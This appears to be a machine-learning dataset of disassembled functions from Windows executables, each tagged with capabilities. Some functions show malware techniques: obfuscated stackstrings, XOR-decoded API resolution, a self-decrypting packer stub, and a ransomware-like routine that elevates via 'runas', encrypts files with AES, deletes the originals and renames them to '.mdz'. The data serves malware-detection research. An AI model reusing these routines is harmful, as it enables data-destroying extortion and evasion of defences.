joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004c20d
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x1004c306
cmp eax, dword [edi + 0xc]
jge 0x1004c306
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x1004c25e
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x1004c2ef
cmp dword [ebp + 0xc], ebx
je 0x1004c2ef
jmp 0x1004c288
push 0x10
call fcn.1004bf37
cmp eax, ebx
je 0x1004c274
mov ecx, eax
call fcn.1004c15f
mov esi, eax
jmp 0x1004c276
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x1004c29f
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1004c2af
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x1004c2c1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.100450df
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.1003a340
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x1004c301
cmp ecx, dword [esi + 8]
jge 0x1004c301
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x1004c307
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1004c627
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x1004f312
call fcn.1003a15c
sub esp, 0x11c
mov eax, dword [0x1005d330]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x1004c720
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x1004c6f4
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.100047c0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.1004c627
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.10001270
test bl, bl
jne 0x1004c6f4
or dword [ebp - 4], 0xffffffff
jmp 0x1004c665
cmp esi, 0x103
je 0x1004c704
cmp esi, 0x3f2
jne 0x1004c714
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.10036c09
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1004c73b
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x1004f33d
call fcn.1003a15c
sub esp, 0x124
mov eax, dword [0x1005d330]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], eax
mov esi, ecx
mov dword [ebp - 0x120], edi
call fcn.1004b12a
cmp eax, edi
mov dword [ebp - 0x128], eax
je 0x1004c795
mov ecx, dword [esi + 0x54]
mov eax, dword [ecx]
lea edx, [ebp - 0x128]
push edx
call dword [eax + 0x14]
cmp eax, edi
je 0x1004c78d
mov edx, dword [eax]
push edi
push edi
push 0xfffffffffffffffc
push edi
mov ecx, eax
call dword [edx + 0xc]
cmp dword [ebp - 0x128], edi
jne 0x1004c76e
cmp dword [esi + 0x50], edi
je 0x1004c895
push str.Software_
lea ecx, [ebp - 0x11c]
call fcn.100047c0
push dword [esi + 0x50]
lea ecx, [ebp - 0x11c]
mov dword [ebp - 4], edi
call fcn.10003480
push 0x10052f44
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.1000d420
push dword [esi + 0x64]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.1000d420
add esp, 0x18
mov ecx, dword [ebp - 0x12c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.10001270
lea eax, [ebp - 0x124]
push eax
mov esi, reloc.WS2_32.dll_accept
push esi
call fcn.1004c627
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1004c863
push 0x104
lea eax, [ebp - 0x118]
push eax
push edi
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, 0x103
jne 0x1004c857
lea eax, [ebp - 0x11c]
push eax
push esi
call fcn.1004c627
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x124]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x118]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea ecx, [edi - 0x10]
call fcn.10001270
mov ecx, dword [ebp - 0x11c]
add ecx, 0xfffffff0
call fcn.10001270
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
inc eax
pop esi
call fcn.10036c09
leave
ret
Function at 0x1000113e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 0x90
mov eax, 0xfffffff5
mov dword [esp + 0x18], 0x6b70666b
mov dword [esp + 0x1c], 0x4b356b61
mov dword [esp + 0x20], 0x11161f56
mov byte [esp + 0x24], 0
mov ecx, eax
add cl, 0x45
xor cl, byte [esp + eax + 0x24]
xor cl, 0x39
mov byte [esp + eax + 0x24], cl
inc eax
jne 0x10001169
lea ebx, [esp + 0x18]
mov byte [ebx + 0xc], 0
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
test eax, eax
je 0x10001278
movaps xmm0, xmmword [0x1009c200]
mov ecx, 0xffffffe6
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0x1a1b0700
mov dword [esp + 0x2c], 0x51f311a
mov dword [esp + 0x30], 0x180e1c
mov byte [esp + 0x18], 0x53
mov edx, ecx
add dl, 0x54
xor dl, byte [esp + ecx + 0x33]
xor dl, 0x39
mov byte [esp + ecx + 0x33], dl
inc ecx
jne 0x100011c3
mov byte [esp + 0x33], 0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001278
movaps xmm0, xmmword [str.WqkqaWt]
mov esi, eax
mov eax, 0x10001134
mov byte [esp + 0x18], 0xe9
sub eax, esi
mov dword [esp + 0x19], eax
mov eax, 0xffffffef
movups xmmword [esp], xmm0
mov word [esp + 0x10], 0xa02
mov byte [esp + 0x12], 0
mov byte [esp], 0x57
mov ecx, eax
add cl, 0x4b
xor cl, byte [esp + eax + 0x12]
xor cl, 0x39
mov byte [esp + eax + 0x12], cl
inc eax
jne 0x1000121d
mov ecx, esp
mov byte [ecx + 0x12], 0
call fcn.10001105
movaps xmm0, xmmword [str.GfvFqut]
lea ecx, [esp + 0x7c]
mov edi, eax
movups xmmword [ecx], xmm0
mov word [ecx + 0x10], 3
mov byte [ecx], 0x47
movups xmm0, xmmword [ecx + 1]
xorps xmm0, xmmword [0x1009c230]
movups xmmword [ecx + 1], xmm0
call fcn.10001105
call eax
lea ecx, [esp + 0x14]
push ecx
push 5
push ebx
push esi
push eax
call edi
mov edi, eax
mov eax, edi
add esp, 0x90
pop esi
pop edi
pop ebx
ret
Function at 0x10004df6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
lea eax, [ecx + 4]
mov esi, ecx
xor edi, edi
mov ebp, 0x18998ab8
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 0x14], eax
mov eax, 0x3a81abf
cmp eax, 0xb16e6232
je 0x10004e44
cmp eax, 0x18998ab8
je 0x10004f2b
cmp eax, 0x3a81abf
jne 0x10004e1c
cmp dword [esp + 0x14], 0
mov eax, 0xb16e6232
cmove eax, ebp
jmp 0x10004e1c
lea eax, [esp + 0x12]
mov ecx, 0x866765a0
mov dword [esp + 8], 0x6465684c
mov dword [esp + 0xc], 0x7c685d68
mov byte [esp + 0x10], 0x7d
mov dword [esp], eax
lea eax, [esp + 0x11]
cmp ecx, 0x8d50ec99
je 0x10004e8f
cmp ecx, 0x866765a0
jne 0x10004e69
mov byte [eax], 0
inc eax
mov ecx, 0x866765a0
mov edx, 0x8d50ec99
cmp eax, dword [esp]
cmove ecx, edx
jmp 0x10004e69
xor eax, eax
mov ecx, 0xed45e7ae
cmp ecx, 0x778ac9b8
je 0x10004ec6
cmp ecx, 0x6c6eeb2a
je 0x10004ef9
cmp ecx, 0xed45e7ae
jne 0x10004e96
mov dword [esp], eax
mov edx, 0x778ac9b8
mov ecx, dword [esp]
cmp ecx, 9
mov ecx, 0x6c6eeb2a
cmovb ecx, edx
jmp 0x10004e96
mov ecx, dword [esp]
mov bl, 0xb4
mov dl, byte [esp + ecx + 8]
mov eax, edx
and dl, 0xc3
not al
and al, 0x3c
or dl, al
mov eax, dword [esp]
mov dh, dl
xor dl, 0x88
xor dh, 0x77
sub bl, al
add al, 0x4b
and dl, al
and bl, dh
or bl, dl
mov byte [esp + ecx + 8], bl
mov eax, dword [esp]
inc eax
jmp 0x10004e91
lea ecx, [esp + 8]
mov byte [esp + 0x11], 0
call fcn.10004f33
mov ecx, dword [esp + 4]
push dword [ecx]
call eax
mov eax, dword [esp + 4]
mov dword [eax], edi
mov dword [esi + 0xc], edi
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esi + 8], eax
mov eax, 0x18998ab8
jmp 0x10004e1c
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10006f46
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
lea ebp, [esp + 0x1c]
mov esi, ecx
lea ecx, [esp + 0x11]
mov edx, 0x7371f918
mov dword [esp + 0x18], ebp
mov eax, dword [esp + 0x18]
lea eax, [esp + 0x10]
mov dword [esp], ecx
mov ecx, 0x741a295e
mov dword [eax - 0xc], 0x62677343
mov dword [eax - 8], 0x6f526070
mov dword [eax - 4], 0x6f6b6c7a
cmp edx, 0x741a295e
je 0x10006fa6
cmp edx, 0x7371f918
jne 0x10006f85
mov byte [eax], 0
inc eax
mov edx, 0x7371f918
cmp eax, dword [esp]
cmove edx, ecx
jmp 0x10006f85
xor ecx, ecx
mov eax, 0xade85fba
mov edx, 0x23aa364b
cmp edx, 0xade85fba
je 0x10006fdd
cmp edx, 0xfdcc9849
je 0x1000700b
cmp edx, 0x23aa364b
jne 0x10006fb2
mov dword [esp], ecx
mov edx, dword [esp]
cmp edx, 0xc
mov edx, 0xfdcc9849
cmovb edx, eax
jmp 0x10006fb2
mov edx, dword [esp]
mov bl, byte [esp + edx + 4]
mov ecx, dword [esp]
mov bh, bl
and bl, 0xa0
not bh
and bh, 0x5f
or bl, bh
mov bh, cl
and cl, 0xa0
not bh
and bh, 0x5f
or cl, bh
xor cl, bl
mov byte [esp + edx + 4], cl
mov ecx, dword [esp]
inc ecx
jmp 0x10006fad
lea edi, [esp + 4]
mov ecx, edi
mov byte [edi + 0xc], 0
call fcn.100068cd
xor ecx, ecx
push ebp
push ecx
push ecx
push 0x10007138
push ecx
push ecx
call eax
mov dword [esp + 0x14], eax
mov eax, 0x806ec43a
mov ebp, 0x86774c74
mov ebx, 0xbb6d8bca
cmp eax, 0xbb6d8bca
je 0x10007130
cmp eax, 0xa23598d5
je 0x10007063
cmp eax, 0x806ec43a
jne 0x1000703b
cmp dword [esp + 0x14], 0
mov eax, 0xa23598d5
cmove eax, ebx
jmp 0x1000703b
lea eax, [esp + 0x10]
mov ecx, 0x47c7a77e
mov dword [esp + 4], 0x706d6d43
mov dword [esp + 8], 0x69674d61
mov word [esp + 0xc], 0x656c
mov byte [esp + 0xe], 0x6f
mov dword [esp], eax
lea eax, [esp + 0xf]
cmp ecx, 0x86774c74
je 0x100070b0
cmp ecx, 0x47c7a77e
jne 0x1000708f
mov byte [eax], 0
inc eax
mov ecx, 0x47c7a77e
cmp eax, dword [esp]
cmove ecx, ebp
jmp 0x1000708f
xor eax, eax
mov ecx, 0x4365cb22
cmp ecx, 0x389d28ca
je 0x100070e7
cmp ecx, 0x78c8d1d2
je 0x10007114
cmp ecx, 0x4365cb22
jne 0x100070b7
mov dword [esp], eax
mov edx, 0x389d28ca
mov ecx, dword [esp]
cmp ecx, 0xb
mov ecx, 0x78c8d1d2
cmovb ecx, edx
jmp 0x100070b7
mov ecx, dword [esp]
mov dl, byte [esp + ecx + 4]
mov eax, dword [esp]
mov dh, dl
and dl, 0xf4
not dh
and dh, 0xb
or dl, dh
mov dh, al
and al, 0xf4
not dh
and dh, 0xb
or al, dh
xor al, dl
mov byte [esp + ecx + 4], al
mov eax, dword [esp]
inc eax
jmp 0x100070b2
mov ecx, edi
mov byte [esp + 0xf], 0
call fcn.100068cd
push dword [esp + 0x14]
call eax
mov eax, 0xbb6d8bca
jmp 0x1000703b
mov ecx, esi
call fcn.1000a442
int3
Function at 0x401df0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401e3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401e34
test esi, esi
je 0x401e34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e10
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402010
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402138
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40209e
cmp eax, 4
jne 0x4020c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4020ae
cmp edx, 4
je 0x4020ae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402010
Function at 0x432005
Capabilities:
Encode data using xor

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x34be7048
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1a53207c
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4011a0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x441054]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401217
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x18], 0
je 0x401223
mov byte [ebp - 0xd], 1
jmp 0x401227
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e5aa
mov esp, ebp
pop ebp
ret

Function at 0x4012a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43066d
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x441054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004011a0
movzx eax, al
test eax, eax
jne 0x4013a8
mov dword [ebp - 0x68], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x64]
push ecx
call fcn.004108e0
add esp, 0xc
mov dword [ebp - 0x5c], str.runas
lea edx, [ebp - 0x28]
push edx
call fcn.00401240
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00409e90
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x4c], 1
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401392
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x4c7
jne 0x401362
push 0x403e60
push str.User_refused_to_allow_privileges_elevation.
push 0x442210
call fcn.00402420
add esp, 8
mov ecx, eax
call fcn.004065b0
jmp 0x40138b
push 0x403e60
mov ecx, dword [ebp - 0x2c]
push ecx
push str.Error_occurred:
push 0x442210
call fcn.00402420
add esp, 8
mov ecx, eax
call fcn.00406420
mov ecx, eax
call fcn.004065b0
push 1
call fcn.00412e0e
push 0
call fcn.00412e0e
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00405ec0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e5aa
mov esp, ebp
pop ebp
ret
Function at 0x401730
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0xf0000008
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40178c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push 0x403e60
mov ecx, dword [ebp - 8]
push ecx
push 0x432278
push 0x442160
call fcn.00402420
add esp, 8
mov ecx, eax
call fcn.00406420
mov ecx, eax
call fcn.004065b0
xor al, al
jmp 0x4017f0
mov edx, dword [ebp + 8]
push edx
push 0x20
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4017e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
push 0x403e60
mov ecx, dword [ebp - 0xc]
push ecx
push str.CryptGenRandom_failed_with_error:
push 0x442160
call fcn.00402420
add esp, 8
mov ecx, eax
call fcn.00406420
mov ecx, eax
call fcn.004065b0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor al, al
jmp 0x4017f0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x401aa0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x441054]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 8
mov byte [ebp - 0x2f], 2
xor eax, eax
mov word [ebp - 0x2e], ax
mov dword [ebp - 0x2c], 0x6610
mov dword [ebp - 0x28], 0x20
push 0x20
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.00410360
add esp, 0xc
push 0xf0000008
push 0x18
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401baf
lea ecx, [ebp - 0x38]
push ecx
push 0
push 0
push 0x2c
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x401ba3
mov ecx, dword [ebp + 0xc]
add ecx, 0x10
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], 0
mov edx, dword [ebp - 0x40]
push edx
mov ecx, dword [ebp + 0x14]
call fcn.0040c0a0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp + 0x14]
call fcn.004099c0
push eax
call fcn.00410360
add esp, 0xc
mov edx, dword [ebp - 0x40]
push edx
lea eax, [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
call fcn.004099c0
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x401b8d
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x44], edx
mov byte [ebp - 0x31], 1
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 0x14]
call fcn.0040c0a0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 0x31]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e5aa
mov esp, ebp
pop ebp
ret
Function at 0x401bc0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4307b2
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x441054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x4c]
call fcn.00405280
mov dword [ebp - 4], 0
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401580
add esp, 8
movzx edx, al
test edx, edx
jne 0x401c22
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
jmp 0x401da3
lea ecx, [ebp - 0x58]
call fcn.00405280
mov byte [ebp - 4], 1
lea eax, [ebp - 0x58]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.0040c5f0
push eax
lea ecx, [ebp - 0x4c]
call fcn.004099c0
push eax
call fcn.00401aa0
add esp, 0x10
movzx edx, al
test edx, edx
jne 0x401c77
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00405fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
jmp 0x401da3
push str..temp
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.00402800
add esp, 0xc
mov byte [ebp - 4], 2
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00401670
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x401cd3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405ec0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00405fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
jmp 0x401da3
mov ecx, dword [ebp + 8]
call fcn.00409e90
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x401d12
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405ec0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00405fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
jmp 0x401da3
push str..mdz
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x40]
push eax
call fcn.00402800
add esp, 0xc
lea ecx, [ebp - 0x40]
call fcn.00409e90
push eax
lea ecx, [ebp - 0x28]
call fcn.00409e90
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x401d74
lea ecx, [ebp - 0x40]
call fcn.00405ec0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405ec0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00405fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
jmp 0x401da3
lea ecx, [ebp - 0x40]
call fcn.00405ec0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405ec0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00405fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00405fb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e5aa
mov esp, ebp
pop ebp
ret